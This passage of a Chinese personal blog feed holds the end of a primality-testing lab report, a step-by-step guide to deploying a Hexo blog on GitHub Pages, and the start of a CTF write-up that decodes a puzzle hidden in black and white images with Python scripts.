style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>可能是素数,否则<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>一定是合数。所以计算以上就可以粗略地判断一个数是否为素数,对于这个式子,<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span></span></span></span>是素数,则这个式子一定成立,但是满足这个式子的数不一定是素数,所以需要多次实验来提高正确率。</p><h1 id="第三次ntl实验结果分析">第三次NTL实验结果分析</h1><p>以上三种检测方式的结果相同,对于测试数据:</p><p class='katex-block katex-error' title='ParseError: KaTeX parse error: No such environment: align* at position 7: \begin{̲a̲l̲i̲g̲n̲*̲}̲& (1) : \text{…'>\begin{align*}& (1) : \text{110051}\\& (2) : \text{181901} \\& (3) : \text{410041} \\& (4) : \text{769278483628740226167794860061798621150347827303123617} \\& (5) : \text{1145169445838968401708775025324117691359108534130461797} \\& (6) : \text{10221010696405715306543052536189788914202546069582395786318675605080695490061540792643337272761347929547435453096763879202778100241119332976939005254498509} \\& (7) : \text{121833461555674589736949565105565398169972481095177279279180138710896774154003337848675741258281654778624527588581168846185536461680316105333272201631014303487127548432732619231950555289262966188279062132341418648002287985828399879599539829714743040809931482374894459448142788978098724300047711192868698944741} \\\end{align*}</p><p>依次的素性检测结果为:</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><menclose notation="top bottom left right"><mtable rowspacing="0.15999999999999992em" columnalign="center center center" columnlines="solid solid" columnspacing="1em" rowlines="solid none none none none none none"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>测试数据</mtext></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>结果</mtext></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>True</mtext></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>False</mtext></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo stretchy="false">(</mo><mn>3</mn><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>False</mtext></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo stretchy="false">(</mo><mn>4</mn><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>False</mtext></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo stretchy="false">(</mo><mn>5</mn><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>False</mtext></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo stretchy="false">(</mo><mn>6</mn><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>True</mtext></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo stretchy="false">(</mo><mn>7</mn><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mtext>True</mtext></mstyle></mtd></mtr></mtable></menclose></mrow><annotation encoding="application/x-tex">\begin{array}{|c|c|c|}\hline\text{测试数据} & \text{结果} \\\hline(1) & \text{True} \\(2) & \text{False} \\(3) & \text{False} \\(4) & \text{False} \\(5) & \text{False} \\(6) & \text{True} \\(7) & \text{True} \\\hline\end{array}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:9.64em;vertical-align:-4.55em;"></span><span class="mord"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.090000000000001em;"><span style="top:-7.050000000000001em;"><span class="pstrut" style="height:7.050000000000001em;"></span><span class="mtable"><span class="vertical-separator" style="height:9.6em;border-right-width:0.04em;border-right-style:solid;margin:0 -0.02em;vertical-align:-4.55em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.050000000000001em;"><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">测试数据</span></span></span></span><span style="top:-6.010000000000001em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span><span style="top:-4.8100000000000005em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord">2</span><span class="mclose">)</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord">3</span><span class="mclose">)</span></span></span><span style="top:-2.4099999999999997em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord">4</span><span class="mclose">)</span></span></span><span style="top:-1.2099999999999997em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord">5</span><span class="mclose">)</span></span></span><span style="top:-0.00999999999999951em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord">6</span><span class="mclose">)</span></span></span><span style="top:1.1899999999999997em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord">7</span><span class="mclose">)</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:4.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="vertical-separator" style="height:9.6em;border-right-width:0.04em;border-right-style:solid;margin:0 -0.02em;vertical-align:-4.55em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.050000000000001em;"><span style="top:-7.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">结果</span></span></span></span><span style="top:-6.010000000000001em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">True</span></span></span></span><span style="top:-4.8100000000000005em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">False</span></span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">False</span></span></span></span><span style="top:-2.4099999999999997em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">False</span></span></span></span><span style="top:-1.2099999999999997em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">False</span></span></span></span><span style="top:-0.00999999999999951em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">True</span></span></span></span><span style="top:1.1899999999999997em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">True</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:4.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="vertical-separator" style="height:9.6em;border-right-width:0.04em;border-right-style:solid;margin:0 -0.02em;vertical-align:-4.55em;"></span><span class="vertical-separator" style="height:9.6em;border-right-width:0.04em;border-right-style:solid;margin:0 -0.02em;vertical-align:-4.55em;"></span></span></span><span style="top:-2.500000000000001em;"><span class="pstrut" style="height:7.050000000000001em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span><span style="top:-10.9em;"><span class="pstrut" style="height:7.050000000000001em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span><span style="top:-12.100000000000001em;"><span class="pstrut" style="height:7.050000000000001em;"></span><span class="hline" style="border-bottom-width:0.04em;"></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:4.55em;"><span></span></span></span></span></span></span></span></span></span></p><p>经验证为正确答案。在实验中,我们发现,对于大数,<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mi>i</mi><mi>l</mi><mi>l</mi><mi>e</mi><mi>r</mi><mo>−</mo><mi>R</mi><mi>a</mi><mi>b</mi><mi>i</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">Miller-Rabin</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal">a</span><span class="mord mathnormal">b</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span></span></span></span>的速度要比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mi>e</mi><mi>r</mi><mi>m</mi><mi>a</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">Fermat</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">m</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>o</mi><mi>l</mi><mi>o</mi><mi>v</mi><mi>a</mi><mi>y</mi><mo>−</mo><mi>S</mi><mi>t</mi><mi>r</mi><mi>a</mi><mi>s</mi><mi>s</mi><mi>e</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">Solovay-Strassen</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span></span></span></span>快很多,但是对于小数,<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mi>i</mi><mi>l</mi><mi>l</mi><mi>e</mi><mi>r</mi><mo>−</mo><mi>R</mi><mi>a</mi><mi>b</mi><mi>i</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">Miller-Rabin</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mord mathnormal">a</span><span class="mord mathnormal">b</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span></span></span></span>的速度要比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mi>e</mi><mi>r</mi><mi>m</mi><mi>a</mi><mi>t</mi></mrow><annotation encoding="application/x-tex">Fermat</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">m</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mi>o</mi><mi>l</mi><mi>o</mi><mi>v</mi><mi>a</mi><mi>y</mi><mo>−</mo><mi>S</mi><mi>t</mi><mi>r</mi><mi>a</mi><mi>s</mi><mi>s</mi><mi>e</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">Solovay-Strassen</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span></span></span></span>慢很多,所以我们可以根据数的大小来选择不同的算法来进行素性检测。同时,对于检测次数,我们发现,检测次数越多,正确率越高,但是速度越慢,所以我们可以根据需要来选择检测次数。</p>]]></content>
<tags>
<tag> school </tag>
</tags>
</entry>
<entry>
<title>Building_Blog</title>
<link href="/2023/10/21/Building-Blog/"/>
<url>/2023/10/21/Building-Blog/</url>
<content type="html"><![CDATA[<p><strong>前置步骤:安装VScode,注册Github账号,学会魔法上网</strong></p><h1 id="一-前言">一、前言</h1><h2 id="1-什么是github-page">1. 什么是Github Page</h2><p>Github Page是Github提供的一项静态网页托管服务,可以用来搭建个人博客。静态网站是指网页不是由服务器动态生成的,没有传统意义的后端。静态网页有很多好处,比如安全性高,访问速度快,不需要数据库等等。<strong><mark>非常适合用来搭建博客</mark></strong>。</p><h2 id="2-什么是hexo">2. 什么是Hexo</h2><p>快速、简洁且高效的博客框架,基于Node.js,使用Markdown(或其他渲染引擎)解析文章,支持EJS、Swig、Haml和Jade等模板引擎渲染网页。<strong><mark>Hexo拥有强大的插件系统</mark></strong>,可以使用很多第三方插件,比如RSS、Sitemap、Google Analytics等。<strong><mark>Hexo的主题也非常丰富</mark></strong>,可以自己写主题,也可以使用别人写好的主题。</p><h1 id="二-本地部署">二、本地部署</h1><h2 id="1-安装git">1. 安装Git</h2><p><a href="https://git-scm.com/download/win">https://git-scm.com/download/win</a></p><p><img src="https://i.imgs.ovh/2023/10/22/28Fre.png" alt="28Fre.png" /><br />无脑下一步就行(想改改路径就自己改,不影响)</p><h2 id="2-安装nodejs">2. 安装node.js</h2><p><a href="https://nodejs.org/en/download/">https://nodejs.org/en/download/</a><br /><img src="https://i.imgs.ovh/2023/10/22/28AI3.png" alt="28AI3.png" /><br />同样无脑下一步就行(同样想改路径自己改)</p><p>检查一下是否安装成功,在cmd中输入:</p><blockquote><p>node -v<br />npm -v<br />git --version</p></blockquote><p>如果显示了版本号,就说明安装成功了。</p><h2 id="3-安装并初始化hexo框架">3. 安装并初始化hexo框架</h2><ul><li>首先在D盘(除了C盘就行)<strong>新建一个文件夹</strong>,命名为Blog或者你喜欢的名字</li><li>然后打开VScode,点击左上角的File选项,点击open folder,选择刚刚新建的文件夹</li><li>然后点击Terminal(终端),选择New Terminal, <strong>然后点击终端右边的下拉菜单,选择Git Bash</strong><br /><img src="https://i.imgs.ovh/2023/10/22/28ICC.png" alt="28ICC.png" /></li></ul><blockquote><p>使用Git Bash喵,使用Git Bash谢谢喵</p></blockquote><ul><li>然后输入<blockquote><p>npm install -g hexo-cli</p></blockquote></li><li>由于网络的问题,下的比较慢也正常,等待安装完成后输入<blockquote><p>hexo init</p></blockquote></li><li><strong><mark>这里结束时会报错,不要惊慌</mark>,看看报错信息是不是让你npm install,是就没问题</strong>。初始化完成后输入:<blockquote><p>npm install</p></blockquote></li></ul><h2 id="4-本地启动">4. 本地启动</h2><ul><li>npm组件安装完成后依次输入以下命令:<blockquote><p>hexo g<br />hexo s</p></blockquote></li><li>这个时候会出现:<blockquote><p>INFO Start processing<br />INFO Hexo is running at <a href="http://localhost:4000">http://localhost:4000</a> . Press Ctrl+C to stop.</p></blockquote></li><li>然后按住ctrl并点击这个网址,就会自动打开浏览器,这个时候就可以看到刚刚搭好的博客的框架了。</li></ul><h2 id="5-第一篇文章">5. 第一篇文章</h2><ul><li>接着在终端中按住ctrl+c,就会停止服务,然后输入:<blockquote><p>hexo new post 随便起个名字</p></blockquote></li><li>这样就会在你的source文件夹下生成一个新的文件夹,里面有一个md文件,这就是你的第一篇文章了,打开它,就可以开始写文章了。随便写点东西然后ctrl+s保存</li><li>第一篇文章保存后回到终端,依次输入:<blockquote><p>hexo cl<br />hexo g<br />hexo s</p></blockquote></li><li>然后在浏览器中刷新就可以看到你的第一篇文章了。但是这个时候你的博客还是在本地,别人是看不到的,下面就是部署到Github上了。</li></ul><h1 id="三-github部署">三、GitHub部署</h1><h2 id="1-设置用户名的邮箱">1. 设置用户名的邮箱</h2><ul><li>在VScode的终端中输入以下两条命令,,<strong>然后一路回车</strong>:<blockquote><p>git config --global <a href="http://user.name">user.name</a> “你的用户名”<br />git config --global user.email “你的邮箱”</p></blockquote></li></ul><h2 id="2-添加ssh密钥">2. 添加SSH密钥</h2><ul><li>首先创建SSH密钥,终端中输入以下命令然后 <mark><strong>一路回车</strong></mark> :<blockquote><p>ssh-keygen -t rsa -C “你的邮箱”</p></blockquote></li><li>然后找到密钥:<ul><li>在C:\Users\你的用户名.ssh文件夹里面,里面有两个文件,一个是id_rsa,一个是id_rsa.pub,用记事本打开id_rsa.pub,复制里面的内容</li></ul></li><li>最后添加密钥:<br /><img src="https://i.imgs.ovh/2023/10/22/2DFuR.png" alt="2DFuR.png" /><ul><li>登录Github,点击右上角头像,选择Settings,选择左边栏的SSH and GPG keys,点击右上角的New SSH key,然后在Title中随便起个名字,粘贴复制的 id_rsa.pub 内容到 Key 中,然后点击Add SSH key</li></ul></li></ul><h2 id="3-验证连接">3. 验证连接</h2><ul><li>在VScode的终端中输入<blockquote><p>ssh -T <a href="mailto:git@github.com">git@github.com</a></p></blockquote></li><li>出现Are you sure……”,输入 yes 回车确认</li><li>见到Successfully……后,就说明连接成功了</li></ul><h2 id="4-创建github仓库">4. 创建Github仓库</h2><ul><li>在Github主页点击右上角的New repository,然后在Repository name中输入 <strong><a href="http://xn--eqr924avxo.github.io">用户名.github.io</a></strong> 勾选 “Initialize this repository with a README”,Description 选填,填好后点击Create repository就创建好了这个仓库(注意,这里一定是:<a href="http://xn--eqr924avxo.github.io">用户名.github.io</a> 不能是其他的名字,这个用户名是GitHub的用户名)</li></ul><h2 id="5-完善hexo及其配置文件">5. 完善hexo及其配置文件</h2><ul><li>首先在VScode的终端中输入以下命令来安装部署插件:<blockquote><p>npm install hexo-deployer-git --save</p></blockquote></li><li>然后修改_config.yml文件:<ul><li>找到deploy,修改为:</li></ul></li></ul><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">deploy:</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">git</span></span><br><span class="line"> <span class="attr">repository:</span> <span class="string">git@github.com:用户名/用户名.github.io.git</span></span><br><span class="line"> <span class="attr">branch:</span> <span class="string">main</span></span><br></pre></td></tr></table></figure><blockquote><p>注意这里的 <code>用户名/用户名.github.io.git</code> 两个用户名都要写,不是或者的意思</p></blockquote><h2 id="6-博客启动">6. 博客,启动!</h2><ul><li>然后再VScode的终端中依次执行以下命令:<blockquote><p>hexo cl<br />hexo g<br />hexo d</p></blockquote></li><li>由于网络问题,这个过程可能会很慢,等待完成后,打开浏览器,输入 <strong><a href="http://xn--eqr924avxo.github.io">用户名.github.io</a></strong> 就可以看到你的博客了!</li></ul><h1 id="四-后语">四、后语</h1><ul><li><p>这样的博客使用默认主题,不太好看,可以去<a href="https://hexo.io/themes/">https://hexo.io/themes/</a>找一个自己喜欢的主题,然后自己跟着步骤更改自己的主题</p></li><li><p>每次需要写新文章时,首先在VScode里面打开Blog文件夹,然后在终端中输入:</p><blockquote><p>hexo new post 你的文章名</p></blockquote><ul><li>然后点到那个文件夹里面去编辑你的文章,编辑完后保存,如果你喜欢用Typora写文章,那么你可以在Typora中编辑好后复制到这里面,或者直接用Typora打开这个文件夹,然后在Typora中编辑你的文章,编辑完成后保存,然后回到终端,输入:<blockquote><p>hexo cl<br />hexo g<br />hexo d</p></blockquote></li><li>稍等一会,你就能再次看到你的博客了,这个时候你的博客已经更新了,别人也能看到你的文章了。(实际上由于网络问题,这个hexo d十次有九次都不,多试几次就行了)</li></ul></li><li><p>每次进行操作的第一步都是hexo cl清除缓存,这样才能保证不出问题。</p></li><li><p>我喜欢使用的图床:<a href="https://imgloc.com/">https://imgloc.com/</a></p></li></ul>]]></content>
<tags>
<tag> daily </tag>
<tag> Blog </tag>
<tag> Hexo </tag>
<tag> Git </tag>
<tag> school </tag>
</tags>
</entry>
<entry>
<title>About_香山杯_23</title>
<link href="/2023/10/16/About-xiang-shan-bei-23/"/>
<url>/2023/10/16/About-xiang-shan-bei-23/</url>
<content type="html"><![CDATA[<p>坐牢9小时,赛后看了别人的wp,复现了一下</p><h1 id="pinto">pinto</h1><blockquote><p>万恶的题目名,直接进行一个导的误</p></blockquote><p>下载下来是4703张纯白或纯黑的图片,这些图片宽度均为65,但是高度不定,所有高度为40、60-67、70</p><p>图片只有黑和白,很自然的想到是二进制,以黑色为0,白色为1,将得到的二进制串转化为int再使用utf-8编码得到一部分信息。写一个脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定包含PNG图像文件的文件夹路径</span></span><br><span class="line">folder_path = <span class="string">r'C:\Users\ASUSROG\Desktop\pintu'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出文件夹中的所有文件</span></span><br><span class="line">file_list = os.listdir(folder_path)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对文件名进行排序</span></span><br><span class="line">file_list.sort()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建一个空的二进制字符串来存储颜色信息</span></span><br><span class="line">binary_string = <span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义颜色映射</span></span><br><span class="line">color_mapping = {</span><br><span class="line"> (<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>): <span class="string">'0'</span>, <span class="comment"># 纯黑色</span></span><br><span class="line"> (<span class="number">255</span>, <span class="number">255</span>, <span class="number">255</span>): <span class="string">'1'</span> <span class="comment"># 纯白色</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 遍历文件列表</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">4704</span>):</span><br><span class="line"> <span class="comment"># 构建完整的文件路径</span></span><br><span class="line"> file_path = os.path.join(folder_path, <span class="string">f'<span class="subst">{i}</span>.png'</span>)</span><br><span class="line"> <span class="comment"># 打开PNG图像文件d</span></span><br><span class="line"> image = Image.<span class="built_in">open</span>(file_path)</span><br><span class="line"> <span class="comment"># 获取像素数据</span></span><br><span class="line"> <span class="comment">#pixels = list(image.getdata())</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment"># 获取第一个像素的颜色</span></span><br><span class="line"> first_pixel = image.getpixel((<span class="number">0</span>, <span class="number">0</span>))</span><br><span class="line"> <span class="comment"># 将像素数据转换为01字符串</span></span><br><span class="line"> binary_string += <span class="string">''</span>.join(color_mapping.get(first_pixel, <span class="string">''</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 打印最终的01二进制串</span></span><br><span class="line"><span class="built_in">print</span>(binary_string)</span><br><span class="line"></span><br><span class="line">int_string = <span class="built_in">int</span>(binary_string,<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(int_string).decode(<span class="string">'utf-8'</span>))</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>得到结果:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span> D:\Blog> & D:/PYTHON/python.exe c:/Users/ASUSROG/Desktop/pinto01.py</span><br><span class="line">flag看到<span class="number">666</span>c是不是特别兴奋,很可惜flag并不在这。(狗头保命),既然走到了这里,那我也给一个通关的关键信息拿去吧,去找到真正的flag吧:sUvcu5rgSeAmJQCfdXtEMKIB91Lj3niOo4hyV0b/<span class="number">2</span>azpx8HqZP6wk7GNlTFYDR+W 哎,对了。拿走之前看一看我精心挑选的笑话吧:猎人打猎,朝狐狸开枪,“砰”地一声枪响之后猎人死了。狐狸叉着腰,冷笑一 声:</span><br><span class="line">“没想到吧,我是反射弧。”好不好笑, 有没有感觉一哆嗦,大脑更清晰了。ฅ՞•ﻌ•՞ ต</span><br></pre></td></tr></table></figure><p>然后我们可以发现高度里面的数字都没有超过8,根据提示8->10,很有可能是8进制,所以将所有的图片的高度按顺序当作8进制转成10进制,当利用ascii码解码。编写脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"><span class="comment"># 指定包含PNG图像文件的文件夹路径</span></span><br><span class="line">folder_path = <span class="string">r'C:\Users\ASUSROG\Desktop\pintu'</span></span><br><span 